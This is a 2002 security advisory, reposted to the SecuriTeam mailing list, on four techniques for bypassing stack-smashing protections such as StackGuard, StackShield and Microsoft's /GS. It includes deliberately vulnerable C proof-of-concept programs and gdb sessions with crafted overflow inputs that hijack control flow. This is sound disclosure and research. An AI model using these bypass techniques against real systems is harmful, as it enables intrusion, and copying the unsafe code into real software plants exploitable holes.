[NEWS] Multiple Vulnerabilities in Stack Smashing Protection Technologies

From: support@securiteam.com
Date: 04/27/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 27 Apr 2002 21:43:54 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Multiple Vulnerabilities in Stack Smashing Protection Technologies
------------------------------------------------------------------------

SUMMARY

Stack shielding technologies have been developed to protect programs
against exploitation of stack based buffer overflows. Among different
types of protections, we can separate two mayor groups. Those that modify
the environment where applications are executed, for example PaX now
integrated into the OpenWall project, and those that alter the way
programs are compiled. CORE Security Technologies has released a set of
techniques to bypass those stack protection technologies, with a special
focus on StackGuard, StackShield, and Microsoft's new stack smashing
protection.

Techniques that exploit stack based buffer overflows on protected programs
and environment have been presented in the past. Here we'll describe how
the studied protections work, and then we'll present four more tricks to
bypass stack smashing protections, some of which are extensions of older
techniques, and some we think are novel.

DETAILS

Vulnerable packages:
 - StackShield up to, and including, v0.7-beta is vulnerable to #1, #3 and
#4
 - StackGuard 1.2 and 2.0.1 (included in ImmuniX 7.0) is vulnerable to all
the described methods.
 - StackGuard 1.21 is not vulnerable to #2

(Other StackGuard versions were not tested and are suspected to be
vulnerable as well.)

 - Programs compiled with Microsoft Visual C++ .NET /GS compiler switch
are still exploitable by using techniques described in problem #1.

Exploitation using #2, #3 and #4 is only possible if the attacker can
guess or brute force the correct value of the "cookie", the existence of
heuristics for doing that are not in the scope of this advisory.

 - SSP (ProPolice) is NOT vulnerable to any of the described exploitation
methods.

Details:
In the past years, several technologies (in the form of software packages)
have been developed to protect programs against exploitation of buffer
overflow vulnerabilities. These technologies aim at detecting and
preventing the execution of hostile code that takes advantage of software
security vulnerabilities by overwriting a critical portion of a running
program's memory known as the stack.

The techniques used to exploit this type of vulnerabilities have been
discussed at length in the past years and, although they have been used
for years in malicious code, notably the famous
<http://www.wikipedia.com/wiki/Morris+Worm> Robert T. Morris worm in 1988
, were initially introduced to the security community at large in the
pioneering articles <http://community.corest.com/~juliano/bufo.html>
"Smashing the stack for fun and profit" written by Aleph1 and
<http://community.corest.com/~juliano/l0pht-howtowrite-bof.html> "How to
write buffer overflows" by Mudge.

Technologies to detect and prevent "stack smashing" exploit code were
presented thereafter, notably
<http://www.immunix.org/StackGuard/usenixsc98.pdf> at the 1998 USENIX
Security conference.

"Stack shielding" software has been developed on the promise of preventing
exploitation of buffer overflow vulnerabilities that make use of the stack
smashing techniques.

Several other techniques to exploit buffer overflows that DO NOT make use
of stack overwriting or code execution on the stack have been presented
during the past years.

Techniques that exploit vulnerabilities by overwriting or otherwise
abusing other memory portions of a running program are described in Solar
Designer's "Getting around non-executable stack (and fix)",
<http://www.phrack.com/show.php?p=58&a=4> "Advanced return-into-lib(c)
exploits (PaX case study)" and w00w00
<http://www.w00w00.org/files/articles/heaptut.txt> "w00w00 on Heap
Overflows".

However, for the purpose of this advisory we will focus on the stack
protection mechanisms and claim the current technologies do not provide
adequate protection:
Stack shielding protections have been miss-understood, they only protect a
particular type of stack smashing exploitation, namely return address
overwrites, NOT generic stack smashing attacks as they claim.

This has been demonstrated in the past, as in
<http://www.phrack.org/show.php?p=56&a=5> "Bypassing StackGuard And
StackShield" and "Vulnerability in ImmuniX OS Security Alert: StackGuard
1.21 Released"

We studied the three most visible "stack shielding" technologies:
 - <http://www.immunix.com> Wirex StackGuard
 - <http://www.angelfire.com/sk/stackshield/download.html> StackShield
 - <http://www.trl.ibm.com/projects/security/ssp/> Stack Smashing
Protection (SSP, formerly ProPolice), from Hiroaki Etoh

As well as the recently introduced /GS stack protecting mechanism
incorporated into Microsoft's Visual C++ .NET as part of the Visual Studio
NET product family. Information about the feature and details on how it
works are available at: <http://go.microsoft.com/fwlink/?LinkId=7260>
http://go.microsoft.com/fwlink/?LinkId=7260

We discovered that all of them present basic design limitations as well as
some implementation flaws.

Our conclusion is that although "stack shielding" technologies present a
valuable mean to prevent execution of certain forms of malicious code,
those technologies should not be thought as a solution to the problem of
buffer overflow vulnerabilities in general and not even as a solution to
some simple stack smashing techniques used to exploit those
vulnerabilities.

Stack shielding mechanism do not suffice to ameliorate the effects of
badly written software and could give a false sense of security of
devastating effects, if not considered as part of a general security
strategy that includes secure design methodologies, secure programming
practices, strict and well defined security testing processes and the
implementation of fixes and patches as well as the use of ad hoc
technologies to prevent exploitation of existing vulnerabilities, publicly
known or otherwise.

Vendor information:
Wirex's Immunix StackGuard
Wirex official response is:
The upcoming next release of StackGuard, version 3.0 fixes problems #2, #3
and #4 by moving the terminator canary to a position between the frame
pointer and all local variables.

Problem #1 is not part of StackGuard's threat model that is StackGuard is
not designed to protect against exploitation before the vulnerable
function exits.

Microsoft Visual Studio .NET /GS
Refer to Microsoft's white paper describing the design and implementation
of the /GS switch: <http://go.microsoft.com/fwlink/?LinkId=7260>
http://go.microsoft.com/fwlink/?LinkId=7260

StackShield
N/A

ProPolice/SSP
SSP is NOT vulnerable to any of the problems described.

Technical Description:
As stated previously, we have identified two basic design limitations in
the current stack smashing technologies:

First, they only protect data located in memory "above" the first
safeguarded address.

Second, (and we think this is a more serious limitation) they only check
for attacks after the called vulnerable function finishes, right before
returning from it so exploitation is possible BEFORE exiting the
vulnerable function.

In addition to this, StackGuard and StackShield have an implementation
flaw:
They protect the stack starting at the return address, leaving the saved
frame pointer unprotected.

In our study we found four different tricks to bypass stack smashing
protections, the first one is an extension of that described in the
previously referred articles and is a direct consequence of design
limitations. The other three tricks result from abusing frame pointer
overwrites, and may be corrected introducing some changes in the
protection mechanisms.

1. Control of function's arguments
In <http://www.phrack.org/show.php?p=56&a=5> "Bypassing StackGuard And
StackShield - Bulba and Kil3r" and "Vulnerability in ImmuniX OS Security
Alert: StackGuard 1.21 Released - Gerardo Richarte" a method to exploit
stack based buffer overflows on stack protected programs is presented. In
the example, a local pointer is used to write to arbitrary memory
locations within the program's memory space. This technique can be
extended to exploit the fact that in standard C compiled programs,
function arguments are located in the stack at "higher" addresses than the
return address:

  lower addresses
        [ local variables ]
        [ saved frame pointer ]
        [ CANARY (0x000dff0a) ]
        [ return address ]
        [ function's arguments ]
  higher addresses

Controlling functions arguments can effectively turn a stack protected
function into an exploitable program by turning the arguments into a
"write-anything-anywhere" primitive. Once the attacker has the ability to
"write anything, anywhere" it is trivial to bypass stack protection
mechanisms.

The following program will function as proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_
/* sg1.c *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf); // here just to give func() "some sense"
    strcpy(msg,buf);
}

int main(int argv, char** argc) {
        func(argc[1]);
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg1
cc sg1.c -o sg1
gera@vaiolent:~src/sg/tests$ gdb sg1
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"
(gdb) r
aaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa_EBPCnry_RETbbbb
(gdb) bt
#0 0x40094154 in strcpy () from /lib/libc.so.6
#1 0x8048469 in func ()
(gdb) x/3i $pc-3
0x40094151 <strcpy+17>: mov (%edx),%al
0x40094153 <strcpy+19>: inc %edx
0x40094154 <strcpy+20>: mov %al,(%ecx,%edx,1)
(gdb) x/s $edx
0xbffff95d: 'a' <repeats 79 times>, "_EBPCnry_RETbbbb"
(gdb) p/x $ecx+$edx
$2 = 0x62626262
(gdb) p "Now we can write anything anywhere"

2. Returning with an altered frame pointer
In standard frame pointer overwrite exploits (
<http://www.phrack.com/show.php?p=55&a=8>
http://www.phrack.com/show.php?p=55&a=8 "The Frame Pointer Overwrite -
klog"), control over the frame pointer is gained after the first return
from the vulnerable function. Shortly before a second "return control" is
gained over the execution flow of the vulnerable program, since the
attacker can now control the stack pointer and therefore the address of
where the function will return to.

Using this technique against stack-protected programs does not lead to
straightforward exploitation of vulnerabilities; however design
limitations can provide an effective way to use it. In this case, we will
use StackGuard's protection as an example of exploitability. StackGuard
uses a protection mechanism called "terminator canary" that prevents
overwriting the return address. However an attacker can overwrite *up to
the terminator canary without modifying it* and thus gain control over the
frame pointer.

The following program serves as a proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_
/* sg2.c *
 * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
    char buf[80];
    strcpy(buf,msg);
}

int main(int argv, char** argc) {
    func(argc[1]);
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg2
cc sg2.c -o sg2
gera@vaiolent:~src/sg/tests$ gdb sg2
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '1111\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x80486b1 in main ()
(gdb) x/i $pc
0x80486b1 <main+25>: leave
(gdb) p/x $ebp
$2 = 0x31313131
(gdb) x/20x $sp
..
..
0xbffffc5c: 0x42424242 0x000aff0d ...
(gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to
'BBBB')
(gdb) p "Now run it again changing '1111' for the address you just found"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`echo -e
'\x5c\xfc\xff\xbf\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p "As you can see, we hooked the execution flow"

3. Further control over local variables
Overwriting the least significant byte in the frame pointer with zero
(0x00) will move it at most 255 bytes ahead into stack space. Usually this
is exploited by making the new stack have a new return address, but that
would be detected or ignored on stack-shielded programs.

However, what an attacker can do is control the last byte of the caller's
frame pointer, effectively controlling all of its local variables and
function's arguments. As we showed in #1 this can lead to direct bypassing
of the stack protection mechanisms. In this case we expand the technique
described in #1 and realize that an attacker can control all the local
variables and arguments of the caller function without modifying any
return address or canary.

The following program serves as a proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_
/* sg3.c *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it() {
    char buf[256];

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
    char *msg = malloc(1000);

    snprintf(msg,999,"User: %s",read_it());
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg3
cc sg3.c -o sg3
gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111
gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3
Segmentation fault (core dumped)
gera@vaiolent:~src/sg/tests$ gdb sg3 core
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
#0 _IO_vsnprintf (string=0x41414141 <Address 0x41414141 out of bounds>,
    maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4)
    at vsprintf.c:127
127 vsnprintf.c: No such file or directory.
(gdb) p "If you take a look an vsnprintf() arguments, you'll see we can
write anywhere in memory."

This example is valid for StackGuard and Stack Shielded programs. If
StackShield is used with the option to terminate execution when an attack
is detected, we only need to set as new return address the original return
address, so it does not detect a change.

4. Pointing the caller's frame to the Global Offset Table (GOT)
Finally, this technique is a variation a bit more complex than what was
presented before. In standard compiled C code, when not using
-fomit-frame-pointer compiler switch in GCC or equivalents in other
compilers, all local variables are accessed relative to the frame pointer,
then if an attacker gains full control over it, she can arbitrarily choose
where in memory local variables are placed, this is the trick used in #3
but a slight variation introduces new possibilities.

By using control over the frame pointer to place local variables and
function arguments on the Global Offset Table memory space (OR MANY OTHER
MEMORY PORTIONS, i.e. heap allocated memory) an attacker can effectively
exploit vulnerable programs bypassing stack protection mechanisms.

The following program serves as a proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_
/* sg6.c *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src) strcpy(dest,src)

int is_new_user = 0;

int get_username(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        if (strcmp(temp,"gera")) is_new_user = 1;

        return strdup(temp);
}

int main(int argv, char **argc) {
    char *user_name;

    user_name = get_username(argc[1]);
    return 0;
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg6
cc sg6.c -o sg6
gera@vaiolent:~src/sg/tests$ gdb sg6
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB`echo -e '\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x8048750 in main ()
(gdb) x/i $pc
0x8048750 <main+28>: mov %eax,-4(%ebp)
(gdb) p/x $ebp
$1 = 0x62626262
(gdb) x/s $eax
0x80499f0: 'a' <repeats 80 times>, "bbbb\r?\n"
(gdb) p "And now, we are ready to write-anything-anywhere"

The same comments as in (3) regarding StackShield exploitation applies.

Microsoft's /GS protection mechanism is vulnerable to #1 but it is not
straightforward to use any of the other 3 methods of exploitation because
the frame pointer is protected with a random canary (known as "COOKIE" in
Microsoft documentation). The cookie is generated in the seccinit.c file
of the CRT source files and provided with Visual C++ .NET platform.

StackGuard v1.21 introduced the use of a random XOR canary for protection,
but this option is not present on v2.0.1 (as checked browsing source
code). While the random XOR canary protection would have made some of the
attacks (#3 and #4) not so straight forward, it is still possible to abuse
the design limitations and bypass protection if a brute force approach is
taken covering all possible values for a one byte change of the random
canary value, this gives the attacker a 1/256 chance of bypassing the
protection, more than enough for a successful attack in most cases.

Note that using an XOR canary as in StackGuard 1.21, problem #2 is
prevented.

StackShield up to 0.7beta does not appear to be vulnerable to #2 but it is
vulnerable to the other exploitation techniques.

ADDITIONAL INFORMATION

A detailed paper describing the protection mechanisms is available at:
<http://www.corest.com/corelabs/papers>
http://www.corest.com/corelabs/papers

The information has been provided by Gerardo Richarte CORE Security
Technologies.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages